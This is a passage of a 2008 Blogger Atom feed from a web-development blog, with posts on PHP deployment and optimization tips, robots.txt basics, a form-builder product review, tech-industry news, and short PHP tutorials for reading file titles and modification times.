/&gt;         2. Support 3 environments - development, staging, and production&lt;br /&gt;         3. Deploy code only from repository tags, don’t run trunk, or allow code editing on server&lt;br /&gt;         4. Check out a new tag from SVN, point the symlink to it. If something goes wrong during release, change the symlink back to the previous version - easy rollback strategy&lt;br /&gt;         5. Everything that needs to be done on the production servers needs to be automated&lt;br /&gt;         6. You can do another Selenium test after the release is deployed&lt;br /&gt;         7. Check out Monit and Supervisord for deployment monitoring&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-1837433271322064332?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/1837433271322064332/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=1837433271322064332' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1837433271322064332'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1837433271322064332'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/11/best-practices-in-php-development.html' title='Best practices in PHP development'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-6060182486138604833</id><published>2008-11-08T10:30:00.000-08:00</published><updated>2008-11-08T10:47:25.156-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>12 PHP optimization tips</title><content type='html'>1. If a method can be static, declare it static. Speed improvement is by a factor of 4.&lt;br /&gt;   2. Avoid magic like __get, __set, __autoload&lt;br /&gt;   3. require_once() is expensive&lt;br /&gt;   4. Use full paths in includes and requires, less time spent on resolving the OS paths.&lt;br /&gt;   5. If you need to find out the time when the script started executing, $_SERVER['REQUEST_TIME'] is preferred to time()&lt;br /&gt;   &lt;br /&gt;&lt;span class="fullpost"&gt;6. See if you can use strncasecmp, strpbrk and stripos instead of regex&lt;br /&gt;   7. str_replace is faster than preg_replace, but strtr is faster than str_replace by a factor of 4&lt;br /&gt;   8. If the function, such as string replacement function, accepts both arrays and single characters as arguments, and if your argument list is not too long, consider writing a few redundant replacement statements, passing one character at a time, instead of one line of code that accepts arrays as search and replace arguments.&lt;br /&gt;   9. Error suppression with @ is very slow.&lt;br /&gt;  10. $row['id'] is 7 times faster than $row[id]&lt;br /&gt;  11. Error messages are expensive&lt;br /&gt;  12. Do not use functions inside of for loop, such as for ($x=0; $x &lt; count($array); $x) The count() function gets called each time.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-6060182486138604833?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/6060182486138604833/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=6060182486138604833' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6060182486138604833'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6060182486138604833'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/11/12-php-optimization-tips.html' title='12 PHP optimization tips'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-2823005807765689404</id><published>2008-11-08T00:00:00.000-08:00</published><updated>2008-11-08T00:12:24.790-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='html'/><title type='text'>Online Forms? Get Vizzual!</title><content type='html'>VizzualForms is a Web-based data management system created for collecting, storing and processing data via the Internet. It allows you to create and publish Web forms in mere minutes without any programming knowledge or advanced computer skills.&lt;br /&gt;It is a time- and cost-effective solution for private or business use. It is very easy to use, yet it is powerful. It includes a visual form creator, data processing tool, contact manager, invitation module and report tool.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Company Name&lt;/span&gt;&lt;br /&gt;Vizzual&lt;/span&gt;&lt;div style="text-align: right;"&gt;&lt;img src="http://2.bp.blogspot.com/_VHplZu23whg/SRVJlrS0vVI/AAAAAAAAHn8/hfsiaiKO_vg/s200/vizzual-logo.jpg" style="cursor:pointer; cursor:hand;width: 200px; height: 70px;" border="0" alt="" id="BLOGGER_PHOTO_ID_5266196250905328978" /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="fullpost"&gt;&lt;span style="font-weight:bold;"&gt;20-Word Description&lt;/span&gt;&lt;br /&gt;The idea of VizzualForms is to allow users to create even the most complicated forms in a simple manner. It is about collecting, storing and processing data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;CEO’s Pitch&lt;/span&gt;&lt;br /&gt;VizzualForms is a Web-based data management system created for collecting, storing and processing data via the Internet. It allows you to create and publish Web forms in mere minutes without any programming knowledge or advanced computer skills.&lt;br /&gt;It is a time- and cost-effective solution for private or business use. It is very easy to use, yet it is powerful. It includes a visual form creator, data processing tool, contact manager, invitation module and report tool.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;With VizzualForms users can create a broad spectrum of forms, invite others to fill in the forms and see or share the results in real time. Our integrated email notification system can send email with data to a mailbox each time a form is submitted, guaranteeing that no request or data will be missed. Forms created with VizzualForms can be embedded into Web page or delivered using an invitation module.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Mashable’s Take&lt;/span&gt;&lt;br /&gt;There are a number of applications and services, online and off, that will accomplish the task of producing forms for numerous purposes. Tools featured within the near-ubiquitous Microsoft Office can manage things like surveys and registration forms and whatnot. The same with Apple’s iWork suite and other similar releases. Meanwhile, Web-based options like FormSite, ExtremeForm, JotForm, and Wufoo can accomplish needed designs with varying degrees of customization and interactivity.&lt;br /&gt;Vizzual Forms is one such character. Users of Vizzual Forms are served with what basically amount to two utilities. One intended for form assembly, the other for data analysis. The first is fairly intuitive to operate. It generally works the way the average user might expect it to. Its strongest features are for editing. Sending things to a user’s contact list might be a little tedious at first, but so long as you maintain an account with regularity, you’ll learn the proverbial ropes pretty quickly, we think. Besides, if you’re conducting an online poll or making some other request, embeds can be easily made.&lt;br /&gt;&lt;br /&gt;Depending on your level of engagement, you can make do with a cost-free and ad-supported account, or spring for a Basic ($8.50), Small Biz ($16.50), or Enterprise-level registration ($31.50). Companies looking to host Vizzual on their own servers can even pony up $1,900 for the privilege.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;To be honest, what Vizzual Forms will help you produce won’t be aesthetically brilliant by any means. The examples it reveals are pretty ordinary. Apart from a palette of colors, you might say things are a bit boring. But rarely is the act of filling a form with information a truly fun endeavor. So the important thing, then, is for the service to help Joe Creator ease through the process as best he or she can. And Vizzual Forms appears conditioned to do just that. You can certainly be specific with an editing job if you like. Nothing really stops you from spending a great deal of time fine-tuning a poll or whathaveyou. But you’ll rarely, if ever, be lost for a visual guide on how to get it done.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-2823005807765689404?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/2823005807765689404/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=2823005807765689404' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2823005807765689404'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2823005807765689404'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/11/online-forms-get-vizzual.html' title='Online Forms? Get Vizzual!'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_VHplZu23whg/SRVJlrS0vVI/AAAAAAAAHn8/hfsiaiKO_vg/s72-c/vizzual-logo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-5516331666336932316</id><published>2008-11-03T05:44:00.000-08:00</published><updated>2008-11-03T05:48:57.352-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SEO'/><category scheme='http://www.blogger.com/atom/ns#' term='Search Engine'/><category scheme='http://www.blogger.com/atom/ns#' term='Web Crawlers'/><category scheme='http://www.blogger.com/atom/ns#' term='Robots'/><title type='text'>Understanding a Robots.txt File</title><content type='html'>The robots.txt file allows you to control the behavour of web crawlers and spiders that visit your site. Most web crawlers are harmless and simply collect data for various reasons like search engine listings, internet archiving, validating links, security scanning, etc. It's always a good idea to create a robots.txt to tell the crawlers where they can go and where they can not. &lt;br /&gt;&lt;span class="fullpost"&gt;A crawler should always follow the "The Robots Exclusion Protocol" and therefore whever it comes to a web site to crawl it, it first checks the robots.txt file. &lt;blockquote&gt;&lt;br /&gt;www.yourdomain.com/robots.txt&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Once it has processed the robots.txt file it will then proceed to the rest of your site usually starting at the index file and traversing throughout. There are quite often places on a web site which do not need to be crawled, like the images directory, data directories, etc so these are what you need to place into your robots file.&lt;br /&gt;&lt;br /&gt;The "/robots.txt" file is simply a text file, which contains one or more records. A single record looking like this: &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;User-agent: *&lt;br /&gt;Disallow: /&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The "User-agent: *" means this section applies to all robots. The "Disallow: /" tells the robot that it should not visit any pages on the web site.&lt;br /&gt;&lt;br /&gt;A basic tobots.txt example &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;User-agent: *&lt;br /&gt;Disallow: /cgi-bin/&lt;br /&gt;Disallow: /tmp/&lt;br /&gt;Disallow: /junk/&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Allowing a single crawler &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;User-agent: Google&lt;br /&gt;Disallow:&lt;br /&gt;&lt;br /&gt;User-agent: *&lt;br /&gt;Disallow: /&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;To exclude a single robot &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;User-agent: BadBot&lt;br /&gt;Disallow: /&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-5516331666336932316?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/5516331666336932316/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=5516331666336932316' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5516331666336932316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5516331666336932316'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/11/understanding-robotstxt-file.html' title='Understanding a Robots.txt File'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-7674440419866158270</id><published>2008-11-03T05:32:00.000-08:00</published><updated>2008-11-03T05:36:29.636-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>People-search sites Reunion.com, Wink to merge</title><content type='html'>Social network Reunion.com has made a new friend: people search service Wink. The two have merged in a new deal that promises to make it dramatically easier to find people on the Web.&lt;span class="fullpost"&gt;Early next year, the merger will produce "an entirely new brand," the companies said. The two have not said what its name will be, nor have financial details been disclosed. With the dual technologies of Reunion and Wink, the companies say that they will be able to search more than 700 million social-networking profiles. They'll be able to search profiles on MySpace, Facebook, LinkedIn, Friendster, AOL's Bebo, Microsoft's Windows Live Spaces, Yahoo, Xanga, and Twitter--among others.&lt;br /&gt;&lt;br /&gt;Numbers from Nielsen last month indicated that Reunion.com, which says it receives 12 million unique visitors each month, is one of the fastest-growing social networks in the U.S. despite the fact that it's hardly on the radar of Twittering blog pundits. Its biggest demographic, according to Nielsen, is those between 55 and 64 who are looking to re-connect with friends and classmates.&lt;br /&gt;&lt;br /&gt;"Through this merger, we're redefining the people search space by bridging existing social networks and providing consumers with the tools they need to find, be found, and stay connected," Wink CEO Michael Tanne said in a release. "We're aiming to create an entirely new online experience that simplifies people's lives by making it easy to find and keep up with everyone they know. There will be exciting developments in the coming months as we integrate our strengths and push our business forward."&lt;br /&gt;&lt;br /&gt;&lt;a href="http://news.cnet.com/8301-13577_3-10080830-36.html"&gt;News Source&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-7674440419866158270?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/7674440419866158270/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=7674440419866158270' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7674440419866158270'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7674440419866158270'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/11/people-search-sites-reunioncom-wink-to.html' title='People-search sites Reunion.com, Wink to merge'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-2123986556040585083</id><published>2008-11-03T05:24:00.000-08:00</published><updated>2008-11-03T05:32:01.955-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>RockYou looks to Asia with new $17 million investment</title><content type='html'>Investments to the tune of $17 million are a rarity these days, but app-factory RockYou has done just that: the San Francisco-based company has announced that Japanese mobile giant SoftBank and Korean telecom investment company SK Telecom Ventures have invested $17 million to create a new joint venture to build apps for the Asia-Pacific market.&lt;span class="fullpost"&gt;&lt;br /&gt;RockYou's Series C venture round, which pulled in $35 million, was in June--with the fresh $17 million, the company has raised $67 million so far.&lt;br /&gt;&lt;br /&gt;This marks the entry of RockYou, which is best known for its Facebook and MySpace widgets, into the mobile space. "In Asia, over half the social networking occurs on mobile," CEO Lance Tokuda told CNET News. "It's both Web and mobile, and we think we'll get good penetration. The results on (Chinese social network) Xiaonei so far have been very good." RockYou says it is the first non-Chinese company to build apps on Xiaonei.&lt;br /&gt;&lt;br /&gt;There will be a separate team handling RockYou's new Asia-Pacific operations, with operations coming from the new joint-venture investors as well. "In a lot of cases it's more cultural, where they'll take our assets and they'll port them and localize them," Tokuda said.&lt;br /&gt;&lt;br /&gt;But there will be synergy as well, with mobile apps likely coming to the U.S. market after they're released in Asia. SoftBank is the Japanese carrier for Apple's iPhone, and iPhone apps created for it may eventually be converted to U.S. versions.&lt;br /&gt;&lt;br /&gt;"We have no U.S. iPhone apps, and yes, we will port them back (from Asia)," Tokuda said.&lt;br /&gt;&lt;br /&gt;So is the company giving up on Facebook's platform? No, Tokuda said, adding that they plan to keep building for it. Nor is the round specifically designed as recession padding, he added.&lt;br /&gt;&lt;br /&gt;"There's still opportunity out there," he explained. "That said, it's good to raise a lot of money and have money in the bank, and this latest strategic round helps."&lt;br /&gt;&lt;br /&gt;&lt;a href="http://news.cnet.com/8301-13577_3-10080841-36.html"&gt;News Source&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-2123986556040585083?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/2123986556040585083/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=2123986556040585083' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2123986556040585083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2123986556040585083'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/11/rockyou-looks-to-asia-with-new-17.html' title='RockYou looks to Asia with new $17 million investment'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-5853207336894431401</id><published>2008-10-30T13:34:00.000-07:00</published><updated>2008-10-30T13:38:55.496-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Searching for All titles inside a directory of a page using PHP</title><content type='html'>We have seen in Part 1 of this tutorial how to read the title tags of an html file. Now we will develop a script for reading all the title tags of the files present inside a directory. The basic script remains same and we will only be keeping this basic script within a while loop. This while loop will list all the files present inside a directory.&lt;br /&gt; &lt;span class="fullpost"&gt;&lt;br /&gt;You must read how in part 1 we have developed the code to handle a file in read mode and collect the text between title tags. Also read how the directory handler works to display all the files.&lt;br /&gt;&lt;br /&gt;Here is the code to handle the directory listing.&lt;br /&gt;&lt;br /&gt;$path="../dir-name/";// Right your path of the directory&lt;br /&gt;$handle=opendir($path);&lt;br /&gt;while (($file_name = readdir($handle))!==false) {&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We can open files of particular type by using its extensions. Here we will use one if condition to add or exclude different types of files. ( read more on stristr())&lt;br /&gt;&lt;br /&gt;if(stristr($file_name,".php")){ // read the file now }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Rest of the code is same as part 1. So here is the complete code.&lt;br /&gt;&lt;br /&gt;&amp;lt;?&lt;br /&gt;///////////////function my_strip///////////&lt;br /&gt;function my_strip($start,$end,$total){&lt;br /&gt;$total = stristr($total,$start);&lt;br /&gt;$f2 = stristr($total,$end);&lt;br /&gt;return substr($total,strlen($start),-strlen($f2));&lt;br /&gt;}&lt;br /&gt;/////////////////////End of function my_strip ///&lt;br /&gt;///////////// Reading of file content////&lt;br /&gt;$i=0;&lt;br /&gt;$path="../dir-name/";// Right your path of the file&lt;br /&gt;&lt;br /&gt;$handle=opendir($path);&lt;br /&gt;while (($file_name = readdir($handle))!==false) {&lt;br /&gt;&lt;br /&gt;if(stristr($file_name,".php")){&lt;br /&gt;$url=$path.$file_name;&lt;br /&gt;&lt;br /&gt;$contents="";&lt;br /&gt;$fd = fopen ($url, "r"); // opening the file in read mode&lt;br /&gt;while($buffer = fread ($fd,1024)){&lt;br /&gt;$contents .=$buffer;&lt;br /&gt;}&lt;br /&gt;/////// End of reading file content ////////&lt;br /&gt;//////// We will start with collecting title part ///////&lt;br /&gt;$t=my_strip("&amp;lt;title&amp;gt;","&amp;lt;/title&amp;gt;",$contents);&lt;br /&gt;echo $t;&lt;br /&gt;echo "&amp;lt;br&amp;gt;";&lt;br /&gt;$i=$i+1;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;echo $i;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.plus2net.com/php_tutorial/file-search-dir.php"&gt;Article Source&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-5853207336894431401?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/5853207336894431401/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=5853207336894431401' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5853207336894431401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5853207336894431401'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/searching-for-all-titles-inside.html' title='Searching for All titles inside a directory of a page using PHP'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-8807251692379374441</id><published>2008-10-29T04:58:00.000-07:00</published><updated>2008-10-29T05:01:43.566-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Searching  for title inside a file using PHP</title><content type='html'>We can collect the text written between two landmarks inside a file. These landmarks can be starting and ending of html tags. So what ever written within a tag can be copied or collected for further processing. Before we go for an example, read the tutorial on how to get part of a string by using one staring and ending strings.&lt;br /&gt; &lt;span class="fullpost"&gt;&lt;br /&gt;Let us try to understand this by an example. We will try to develop a script which will search and collect the text written within the title tags of a page. Read here if you want to know more about title tags in an html page. Here is an example of title tag.&lt;br /&gt;&amp;lt;title&amp;gt;This is the title text of a page&amp;lt;/title&amp;gt;&lt;br /&gt;&lt;br /&gt;As you can see within the page we can use starting and ending title tags or any pair of tags as two landmarks and collect the characters or string within it.&lt;br /&gt;&lt;br /&gt;Now let us learn how to open a file and read the content. Here is the code part to do that.&lt;br /&gt;&lt;br /&gt;$url="../dir-name/index.php";&lt;br /&gt;$contents="";&lt;br /&gt;$fd = fopen ($url, "r"); // opening the file in read mode&lt;br /&gt;while($buffer = fread ($fd,1024)){&lt;br /&gt;$contents .=$buffer;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now as we have the content of the file stored in a variable $content , we will use our function my_strip ( read details about my_strip function here) to collect the title part only from the variable and print to the screen.&lt;br /&gt;&lt;br /&gt;$t=my_strip("&amp;lt;title&amp;gt;","&amp;lt;/title&amp;gt;",$contents);&lt;br /&gt;echo $t;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;With this we can give any URL and see the title of the file. This way like title tag we can read any other tag like meta keywords, meta description, body tag etc of a page. You can see many applications can be developed using this but let us try to develop few more things from this.&lt;br /&gt;&lt;br /&gt;First is reading all the files of a directory and displaying all the titles of the files inside that directory&lt;br /&gt;Second develop a hyperlink using these titles to query google for these titles. ( think why ? )&lt;br /&gt;&lt;br /&gt;The above two codes we will discuss in next section. Before that here is the full code as we discussed in the above tutorial.&lt;br /&gt;&lt;br /&gt;&amp;lt;?&lt;br /&gt;///////////////function my_strip///////////&lt;br /&gt;function my_strip($start,$end,$total){&lt;br /&gt;$total = stristr($total,$start);&lt;br /&gt;$f2 = stristr($total,$end);&lt;br /&gt;return substr($total,strlen($start),-strlen($f2));&lt;br /&gt;}&lt;br /&gt;/////////////////////End of function my_strip ///&lt;br /&gt;///////////// Reading of file content////&lt;br /&gt;$url="../dir-name/index.php";// Right your path of the file&lt;br /&gt;$contents="";&lt;br /&gt;$fd = fopen ($url, "r"); // opening the file in read mode&lt;br /&gt;while($buffer = fread ($fd,1024)){&lt;br /&gt;$contents .=$buffer;&lt;br /&gt;}&lt;br /&gt;/////// End of reading file content ////////&lt;br /&gt;//////// We will start with collecting title part ///////&lt;br /&gt;$t=my_strip("&amp;lt;title&amp;gt;","&amp;lt;/title&amp;gt;",$contents);&lt;br /&gt;echo $t;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Once we know the title text , we can go for str_ireplace command to replace the old title with new title and then write the content to file again.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.plus2net.com/php_tutorial/file-search.php"&gt;Article Source&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-8807251692379374441?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/8807251692379374441/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=8807251692379374441' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8807251692379374441'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8807251692379374441'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/searching-for-title-inside-file-using.html' title='Searching  for title inside a file using PHP'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-3706445893583661565</id><published>2008-10-29T04:57:00.000-07:00</published><updated>2008-10-29T04:58:09.527-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Getting the last updated time of the file in PHP</title><content type='html'>We can get the last updated date of any file by using filemtime function in PHP. This function returns date in UNIX Timestamp format and we can convert it to our requirement by using date function.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;This function filemtime() uses the server file system so it works for local systems only, we can't use this function to get the modified time of any remote file system.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here is the code to get the last modified date of any file. We are checking for a existing file ( test.php)&lt;br /&gt;&lt;br /&gt;echo date("m/d/Y",filemtime(“test.php”));&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The above code will display the modified date in month/day/year format.&lt;br /&gt;Note that we have used date function to convert the Unix Timestamp time returned by filemtime() function. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.plus2net.com/php_tutorial/filemtime.php"&gt;Article Source&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-3706445893583661565?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/3706445893583661565/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=3706445893583661565' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/3706445893583661565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/3706445893583661565'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/getting-last-updated-time-of-file-in.html' title='Getting the last updated time of the file in PHP'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-2097001120424124906</id><published>2008-10-29T04:48:00.000-07:00</published><updated>2008-10-29T04:52:38.215-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>How to get the file name of the current loaded script using PHP ?</title><content type='html'>We can get the current file name or the file executing the code by using SCRIPT_NAME. This will give us the path from the server root so the name of the current directory will also be included. Here is the code.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;$file = $_SERVER["SCRIPT_NAME"];&lt;br /&gt;echo $file;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The above lines will print the present file name along with the directory name. For example if our current file is test.php and it is running inside my_file directory then the output of above code will be.&lt;br /&gt;&lt;br /&gt;/my_file/test.php&lt;br /&gt;&lt;br /&gt;We will add some more code to the above line to get the only file name from the above code. We will use explode command to break 